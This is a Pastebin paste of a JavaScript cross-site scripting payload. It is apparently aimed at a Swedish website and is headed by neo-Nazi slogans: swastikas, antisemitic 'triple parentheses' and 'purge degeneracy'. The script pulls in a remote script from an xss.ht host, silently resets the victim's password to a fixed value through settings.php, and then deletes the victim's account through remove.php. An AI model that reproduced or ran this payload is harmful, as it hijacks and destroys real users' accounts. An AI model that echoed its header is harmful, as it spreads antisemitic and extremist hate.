Advertisement
Guest User

Untitled

a guest
Aug 19th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // FourthReich 2018
  2. // 卐 IMPROVE YOURSELF, SOCIETY, AND COMRADES
  3. // 卐 SMASH (((MARXISM)))
  4. // 卐 PURGE DEGENERACY
  5.  
  6. // Destroying communism digitally, byte by byte
  7.  
  8. var data;
  9. var password = "test123";
  10.  
  11. // Anonymous "self-invoking" function
  12. (function() {
  13.     var startingTime = new Date().getTime();
  14.     // Load the script
  15.     var script = document.createElement("SCRIPT");
  16.     script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';
  17.     script.type = 'text/javascript';
  18.     document.getElementsByTagName("head")[0].appendChild(script);
  19.  
  20.     // Poll for jQuery to come into existance
  21.     var checkReady = function(callback) {
  22.         if (window.jQuery) {
  23.             callback(jQuery);
  24.         }
  25.         else {
  26.             window.setTimeout(function() { checkReady(callback); }, 20);
  27.         }
  28.     };
  29.  
  30.     // Start polling...
  31.     checkReady(function($) {
  32.         $(function() {
  33.             var endingTime = new Date().getTime();
  34.             var tookTime = endingTime - startingTime;
  35.  
  36.             $.getScript("//gthotel.xss.ht");
  37.  
  38.             data = new FormData();
  39.             data.append('password', password);
  40.             data.append('password_confirm', password);
  41.             data.append('settings', 'Uppdatera')
  42.  
  43.             // Change users password to constant
  44.             $.ajax({
  45.                 url: 'settings.php',
  46.                 data: data,
  47.                 processData: false,
  48.                 cache: false,
  49.                 type: 'POST',
  50.            
  51.                 // This will override the content type header,
  52.                 // regardless of whether content is actually sent.
  53.                 // Defaults to 'application/x-www-form-urlencoded'
  54.                 contentType: false,
  55.            
  56.                 // Before 1.5.1 you had to do this:
  57.                 beforeSend: function (x) {
  58.                     if (x && x.overrideMimeType) {
  59.                         x.overrideMimeType("multipart/form-data");
  60.                     }
  61.                 },
  62.                 // Now you should be able to do this:
  63.                 mimeType: 'multipart/form-data',    //Property added in 1.5.1
  64.            
  65.                 // Removes account with help of new password
  66.                 success: function (data) {
  67.                     var http = new XMLHttpRequest();
  68.                     var url = "remove.php";
  69.                     var params = "password=" + password + "&remove=Jag+%C3%A4r+s%C3%A4ker%2C+ta+bort+mig%21";
  70.  
  71.                     http.open("POST", url, true);
  72.                     http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  73.                     http.send(params);
  74.                 }
  75.             });
  76.         });
  77.     });
  78. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement